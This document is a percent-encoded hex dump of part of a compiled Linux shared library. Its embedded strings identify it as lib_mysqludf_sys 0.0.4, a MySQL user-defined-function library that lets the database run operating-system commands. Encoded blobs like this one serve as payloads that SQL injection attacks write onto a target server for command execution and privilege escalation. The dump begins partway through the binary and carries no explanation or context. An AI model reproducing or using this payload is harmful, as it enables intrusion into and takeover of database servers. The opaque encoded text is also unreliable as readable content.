38%34%38%38%62%33%38%34%38%38%33%63%37%30%32%34%38%30%33%37%38%30%38%65%38%30%31%66%63%66%66%66%66%33%31%64%32%34%38%38%35%63%30%34%38%38%39%34%35%31%30%37%35%31%31%34%38%38%64%33%35%31%66%30%32%30%30%30%30%34%38%38%39%64%66%65%38%38%37%66%63%66%66%66%66%62%32%30%31%34%31%35%38%35%62%38%38%64%30%35%64%63%33%34%38%38%33%65%63%30%38%38%33%33%65%30%31%34%38%38%39%66%39%34%38%38%39%64%37%37%35%31%30%34%38%38%62%34%36%30%38%38%33%33%38%30%30%37%35%30%37%63%36%30%31%30%31%33%31%63%30%65%62%30%65%34%38%38%64%33%35%37%36%30%31%30%30%30%30%65%38%35%33%66%63%66%66%66%66%62%30%30%31%34%31%35%39%63%33%34%31%35%34%34%38%38%64%33%35%65%66%30%31%30%30%30%30%34%39%38%39%63%63%34%38%38%39%64%37%35%33%34%38%38%39%64%33%34%38%38%33%65%63%30%38%65%38%33%32%66%63%66%66%66%66%34%39%63%37%30%34%32%34%31%65%30%30%30%30%30%30%34%38%38%39%64%38%34%31%35%61%35%62%34%31%35%63%63%33%34%38%38%33%65%63%30%38%33%31%63%30%38%33%33%65%30%30%34%38%38%39%64%37%37%34%30%65%34%38%38%64%33%35%64%35%30%31%30%30%30%30%65%38%30%37%66%63%66%66%66%66%62%30%30%31%34%31%35%62%63%33%34%38%38%33%65%63%30%38%34%38%38%62%34%36%31%30%34%38%38%62%33%38%65%38%36%32%66%62%66%66%66%66%35%61%34%38%39%38%63%33%34%38%38%33%65%63%32%38%34%38%38%62%34%36%31%38%34%63%38%62%34%66%31%30%34%39%38%39%66%32%34%38%38%62%30%38%34%38%38%62%34%36%31%30%34%63%38%39%63%66%34%38%38%62%30%30%34%64%38%64%34%34%30%39%30%31%34%38%38%39%63%36%66%33%61%34%34%63%38%39%63%37%34%39%38%62%34%32%31%38%34%38%38%62%30%30%34%31%63%36%30%34%30%31%30%30%34%39%38%62%34%32%31%30%34%39%38%62%35%32%31%38%34%38%38%62%34%30%30%38%34%38%38%62%34%61%30%38%62%61%30%31%30%30%30%30%30%30%34%38%38%39%63%36%66%33%61%34%34%63%38%39%63%36%34%63%38%39%63%66%34%39%38%62%34%32%31%38%34%38%38%62%34%30%30%38%34%31%63%36%30%34%30%30%30%30%65%38%36%37%66%62%66%66%66%66%34%38%38%33%63%34%32%38%34%38%39%38%63%33%34%38%38%62%37%66%31%30%34%38%38%35%66%66%37%34%30%35%65%39%31%32%66%62%66%66%66%66%63%33%35%35%34%38%38%39%63%64%35%33%34%63%38%39%63%33%34%38%38%33%65%63%30%38%34%38%38%62%34%36%31%30%34%38%38%62%33%38%65%38%34%39%66%62%66%66%66%66%34%38%38%35%63%30%34%38%38%39%63%32%37%35%30%35%63%36%30%33%30%31%65%62%31%35%33%31%63%30%34%38%38%33%63%39%66%66%34%38%38%39%64%37%66%32%61%65%34%38%66%37%64%31%34%38%66%66%63%39%34%38%38%39%34%64%30%30%35%39%35%62%34%38%38%39%64%30%35%64%63%33%39%30%39%30%39%30%39%30%39%30%39%30%39%30%39%30%35%35%34%38%38%39%65%35%35%33%34%38%38%33%65%63%30%38%34%38%38%62%30%35%63%38%30%33%32%30%30%30%34%38%38%33%66%38%66%66%37%34%31%39%34%38%38%64%31%64%62%62%30%33%32%30%30%30%30%66%31%66%30%30%34%38%38%33%65%62%30%38%66%66%64%30%34%38%38%62%30%33%34%38%38%33%66%38%66%66%37%35%66%31%34%38%38%33%63%34%30%38%35%62%63%39%63%33%39%30%39%30%34%38%38%33%65%63%30%38%65%38%36%66%66%62%66%66%66%66%34%38%38%33%63%34%30%38%63%33%34%35%37%38%37%30%36%35%36%33%37%34%36%35%36%34%32%30%36%35%37%38%36%31%36%33%37%34%36%63%37%39%32%30%36%66%36%65%36%35%32%30%37%33%37%34%37%32%36%39%36%65%36%37%32%30%37%34%37%39%37%30%36%35%32%30%37%30%36%31%37%32%36%31%36%64%36%35%37%34%36%35%37%32%30%30%34%35%37%38%37%30%36%35%36%33%37%34%36%35%36%34%32%30%36%35%37%38%36%31%36%33%37%34%36%63%37%39%32%30%37%34%37%37%36%66%32%30%36%31%37%32%36%37%37%35%36%64%36%35%36%65%37%34%37%33%30%30%34%35%37%38%37%30%36%35%36%33%37%34%36%35%36%34%32%30%37%33%37%34%37%32%36%39%36%65%36%37%32%30%37%34%37%39%37%30%36%35%32%30%36%36%36%66%37%32%32%30%36%65%36%31%36%64%36%35%32%30%37%30%36%31%37%32%36%31%36%64%36%35%37%34%36%35%37%32%30%30%34%33%36%66%37%35%36%63%36%34%32%30%36%65%36%66%37%34%32%30%36%31%36%63%36%63%36%66%36%33%36%31%37%34%36%35%32%30%36%64%36%35%36%64%36%66%37%32%37%39%30%30%36%63%36%39%36%32%35%66%36%64%37%39%37%33%37%31%36%63%37%35%36%34%36%36%35%66%37%33%37%39%37%33%32%30%37%36%36%35%37%32%37%33%36%39%36%66%36%65%32%30%33%30%32%65%33%30%32%65%33%34%30%30%34%65%36%66%32%30%36%31%37%32%36%37%37%35%36%64%36%35%36%65%37%34%37%33%32%30%36%31%36%63%36%63%36%66%37%37%36%35%36%34%32%30%32%38%37%35%36%34%36%36%33%61%32%30%36%63%36%39%36%32%35%66%36%64%37%39%37%33%37%31%36%63%37%35%36%34%36%36%35%66%37%33%37%39%37%33%35%66%36%39%36%65%36%36%36%66%32%39%30%30%30%30%30%31%31%62%30%33%33%62%39%38%30%30%30%30%30%30%31%32%30%30%30%30%30%30%34%30%66%62%66%66%66%66%62%34%30%30%30%30%30%30%34%31%66%62%66%66%66%66%63%63%30%30%30%30%30%30%34%32%66%62%66%66%66%66%65%34%30%30%30%30%30%30%34%33%66%62%66%66%66%66%66%63%30%30%30%30%30%30%34%34%66%62%66%66%66%66%31%34%30%31%30%30%30%30%34%37%66%62%66%66%66%66%32%63%30%31%30%30%30%30%34%38%66%62%66%66%66%66%34%34%30%31%30%30%30%30%65%32%66%62%66%66%66%66%36%63%30%31%30%30%30%30%63%61%66%63%66%66%66%66%61%34%30%31%30%30%30%30%66%33%66%63%66%66%66%66%62%63%30%31%30%30%30%30%31%63%66%64%66%66%66%66%64%34%30%31%30%30%30%30%38%36%66%64%66%66%66%66%66%34%30%31%30%30%30%30%62%36%66%64%66%66%66%66%30%63%30%32%30%30%30%30%65%33%66%64%66%66%66%66%32%63%30%32%30%30%30%30%30%32%66%65%66%66%66%66%34%34%30%32%30%30%30%30%31%36%66%65%66%66%66%66%35%63%30%32%30%30%30%30%38%34%66%65%66%66%66%66%37%34%30%32%30%30%30%30%39%33%66%65%66%66%66%66%38%63%30%32%30%30%30%30%31%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%37%61%35%32%30%30%30%31%37%38%31%30%30%31%31%62%30%63%30%37%30%38%39%30%30%31%30%30%30%30%31%34%30%30%30%30%30%30%31%63%30%30%30%30%30%30%38%34%66%61%66%66%66%66%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%33%34%30%30%30%30%30%30%36%64%66%61%66%66%66%66%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%34%63%30%30%30%30%30%30%35%36%66%61%66%66%66%66%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%33%66%66%61%66%66%66%66%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%37%63%30%30%30%30%30%30%32%38%66%61%66%66%66%66%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%39%34%30%30%30%30%30%30%31%33%66%61%66%66%66%66%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%34%30%30%30%30%30%30%61%63%30%30%30%30%30%30%66%63%66%39%66%66%66%66%39%61%30%30%30%30%30%30%30%30%34%32%30%65%31%30%38%63%30%32%34%38%30%65%31%38%34%31%30%65%32%30%34%34%30%65%33%30%38%33%30%34%38%36%30%33%30%30%30%30%30%30%30%30%30%30%33%34%30%30%30%30%30%30%64%34%30%30%30%30%30%30%36%65%66%61%66%66%66%66%65%38%30%30%30%30%30%30%30%30%34%32%30%65%31%30%34%37%30%65%31%38%34%32%30%65%32%30%38%64%30%34%38%65%30%33%38%66%30%32%34%35%30%65%32%38%34%31%30%65%33%30%34%31%30%65%33%38%38%33%30%37%38%36%30%36%38%63%30%35%34%37%30%65%35%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%30%63%30%31%30%30%30%30%31%65%66%62%66%66%66%66%32%39%30%30%30%30%30%30%30%30%34%34%30%65%31%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%32%34%30%31%30%30%30%30%32%66%66%62%66%66%66%66%32%39%30%30%30%30%30%30%30%30%34%34%30%65%31%30%30%30%30%30%30%30%30%30%31%63%30%30%30%30%30%30%33%63%30%31%30%30%30%30%34%30%66%62%66%66%66%66%36%61%30%30%30%30%30%30%30%30%34%31%30%65%31%30%38%36%30%32%34%34%30%65%31%38%38%33%30%33%34%37%30%65%32%30%30%30%30%30%31%34%30%30%30%30%30%30%35%63%30%31%30%30%30%30%38%61%66%62%66%66%66%66%33%30%30%30%30%30%30%30%30%30%34%34%30%65%31%30%30%30%30%30%30%30%30%30%31%63%30%30%30%30%30%30%37%34%30%31%30%30%30%30%61%32%66%62%66%66%66%66%32%64%30%30%30%30%30%30%30%30%34%32%30%65%31%30%38%63%30%32%34%65%30%65%31%38%38%33%30%33%34%37%30%65%32%30%30%30%30%30%31%34%30%30%30%30%30%30%39%34%30%31%30%30%30%30%61%66%66%62%66%66%66%66%31%66%30%30%30%30%30%30%30%30%34%34%30%65%31%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%61%63%30%31%30%30%30%30%62%36%66%62%66%66%66%66%31%34%30%30%30%30%30%30%30%30%34%34%30%65%31%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%63%34%30%31%30%30%30%30%62%32%66%62%66%66%66%66%36%65%30%30%30%30%30%30%30%30%34%34%30%65%33%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%64%63%30%31%30%30%30%30%30%38%66%63%66%66%66%66%30%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%63%30%30%30%30%30%30%66%34%30%31%30%30%30%30%66%66%66%62%66%66%66%66%34%31%30%30%30%30%30%30%30%30%34%31%30%65%31%30%38%36%30%32%34%34%30%65%31%38%38%33%30%33%34%37%30%65%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%66%66%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%66%66%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%32%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%62%30%30%30%30%30%30%30%30%30%30%30%30%30%64%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%38%31%31%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%38%30%31%30%30%30%30%30%30%30%30%30%30%30%30%66%35%66%65%66%66%36%66%30%30%30%30%30%30%30%30%61%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%35%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%38%30%37%30%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%65%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%62%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%65%38%31%36%32%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%37%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%37%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%65%66%66%66%66%36%66%30%30%30%30%30%30%30%30%61%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%66%66%66%66%66%66%36%66%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%30%66%66%66%66%36%66%30%30%30%30%30%30%30%30%34%38%30%39%30%30%30%30%30%30%30%30%30%30%30%30%66%39%66%66%66%66%36%66%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%31%35%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%65%30%62%30%30%30%30%30%30%30%30%30%30%30%30%64%65%30%62%30%30%30%30%30%30%30%30%30%30%30%30%65%65%30%62%30%30%30%30%30%30%30%30%30%30%30%30%66%65%30%62%30%30%30%30%30%30%30%30%30%30%30%30%30%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%31%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%32%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%33%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%34%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%35%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%36%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%37%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%38%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%39%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%61%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%62%65%30%63%30%30%30%30%30%30%30%30%30%30%30%30%38%30%31%37%32%30%30%30%30%30%30%30%30%30%30%30%30%30%34%37%34%33%34%33%33%61%32%30%32%38%34%34%36%35%36%32%36%39%36%31%36%65%32%30%33%34%32%65%33%33%32%65%33%32%32%64%33%31%32%65%33%31%32%39%32%30%33%34%32%65%33%33%32%65%33%32%30%30%30%30%34%37%34%33%34%33%33%61%32%30%32%38%34%34%36%35%36%32%36%39%36%31%36%65%32%30%33%34%32%65%33%33%32%65%33%32%32%64%33%31%32%65%33%31%32%39%32%30%33%34%32%65%33%33%32%65%33%32%30%30%30%30%34%37%34%33%34%33%33%61%32%30%32%38%34%34%36%35%36%32%36%39%36%31%36%65%32%30%33%34%32%65%33%33%32%65%33%32%32%64%33%31%32%65%33%31%32%39%32%30%33%34%32%65%33%33%32%65%33%32%30%30%30%30%34%37%34%33%34%33%33%61%32%30%32%38%34%34%36%35%36%32%36%39%36%31%36%65%32%30%33%34%32%65%33%33%32%65%33%32%32%64%33%31%32%65%33%31%32%39%32%30%33%34%32%65%33%33%32%65%33%32%30%30%30%30%34%37%34%33%34%33%33%61%32%30%32%38%34%34%36%35%36%32%36%39%36%31%36%65%32%30%33%34%32%65%33%33%32%65%33%32%32%64%33%31%32%65%33%31%32%39%32%30%33%34%32%65%33%33%32%65%33%32%30%30%30%30%32%65%37%33%36%38%37%33%37%34%37%32%37%34%36%31%36%32%30%30%32%65%36%37%36%65%37%35%32%65%36%38%36%31%37%33%36%38%30%30%32%65%36%34%37%39%36%65%37%33%37%39%36%64%30%30%32%65%36%34%37%39%36%65%37%33%37%34%37%32%30%30%32%65%36%37%36%65%37%35%32%65%37%36%36%35%37%32%37%33%36%39%36%66%36%65%30%30%32%65%36%37%36%65%37%35%32%65%37%36%36%35%37%32%37%33%36%39%36%66%36%65%35%66%37%32%30%30%32%65%37%32%36%35%36%63%36%31%32%65%36%34%37%39%36%65%30%30%32%65%37%32%36%35%36%63%36%31%32%65%37%30%36%63%37%34%30%30%32%65%36%39%36%65%36%39%37%34%30%30%32%65%37%34%36%35%37%38%37%34%30%30%32%65%36%36%36%39%36%65%36%39%30%30%32%65%37%32%36%66%36%34%36%31%37%34%36%31%30%30%32%65%36%35%36%38%35%66%36%36%37%32%36%31%36%64%36%35%35%66%36%38%36%34%37%32%30%30%32%65%36%35%36%38%35%66%36%36%37%32%36%31%36%64%36%35%30%30%32%65%36%33%37%34%36%66%37%32%37%33%30%30%32%65%36%34%37%34%36%66%37%32%37%33%30%30%32%65%36%61%36%33%37%32%30%30%32%65%36%34%37%39%36%65%36%31%36%64%36%39%36%33%30%30%32%65%36%37%36%66%37%34%30%30%32%65%36%37%36%66%37%34%32%65%37%30%36%63%37%34%30%30%32%65%36%34%36%31%37%34%36%31%30%30%32%65%36%32%37%33%37%33%30%30%32%65%36%33%36%66%36%64%36%64%36%35%36%65%37%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%66%30%30%30%30%30%30%30%35%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%38%30%31%30%30%30%30%30%30%30%30%30%30%30%30%35%38%30%31%30%30%30%30%30%30%30%30%30%30%30%30%34%38%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%30%30%30%30%30%30%66%36%66%66%66%66%36%66%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%35%30%30%30%30%30%30%30%62%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%64%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%38%30%37%30%30%30%30%30%30%30%30%30%30%30%30%36%38%30%37%30%30%30%30%30%30%30%30%30%30%30%30%65%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%35%30%30%30%30%30%30%66%66%66%66%66%66%36%66%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%38%30%39%30%30%30%30%30%30%30%30%30%30%30%30%34%38%30%39%30%30%30%30%30%30%30%30%30%30%30%30%35%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%32%30%30%30%30%30%30%66%65%66%66%66%66%36%66%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%31%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%63%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%63%30%30%39%30%30%30%30%30%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%62%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%35%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%62%30%30%30%30%30%30%30%30%30%30%30%30%61%30%30%62%30%30%30%30%30%30%30%30%30%30%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%62%38%30%62%30%30%30%30%30%30%30%30%30%30%30%30%62%38%30%62%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%62%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%30%30%63%30%30%30%30%30%30%30%30%30%30%30%30%64%30%30%63%30%30%30%30%30%30%30%30%30%30%30%30%61%38%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%31%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%38%31%31%30%30%30%30%30%30%30%30%30%30%30%30%37%38%31%31%30%30%30%30%30%30%30%30%30%30%30%30%30%65%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%37%30%30%30%30%30%30%30%31%30%30%30%30%30%30%33%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%36%31%31%30%30%30%30%30%30%30%30%30%30%30%30%38%36%31%31%30%30%30%30%30%30%30%30%30%30%30%30%64%64%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%66%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%31%32%30%30%30%30%30%30%30%30%30%30%30%30%36%34%31%32%30%30%30%30%30%30%30%30%30%30%30%30%39%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%37%64%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%33%30%30%30%30%30%30%30%30%30%30%30%30%31%34%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%37%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%38%31%35%32%30%30%30%30%30%30%30%30%30%30%30%31%38%31%35%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%65%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%38%31%35%32%30%30%30%30%30%30%30%30%30%30%30%32%38%31%35%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%39%35%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%38%31%35%32%30%30%30%30%30%30%30%30%30%30%30%33%38%31%35%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%39%61%30%30%30%30%30%30%30%36%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%31%35%32%30%30%30%30%30%30%30%30%30%30%30%34%30%31%35%30%30%30%30%30%30%30%30%30%30%30%30%39%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%33%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%64%30%31%36%32%30%30%30%30%30%30%30%30%30%30%30%64%30%31%36%30%30%30%30%30%30%30%30%30%30%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%61%38%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%33%30%30%30%30%30%30%30%30%30%30%30%30%30%30%65%38%31%36%32%30%30%30%30%30%30%30%30%30%30%30%65%38%31%36%30%30%30%30%30%30%30%30%30%30%30%30%39%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%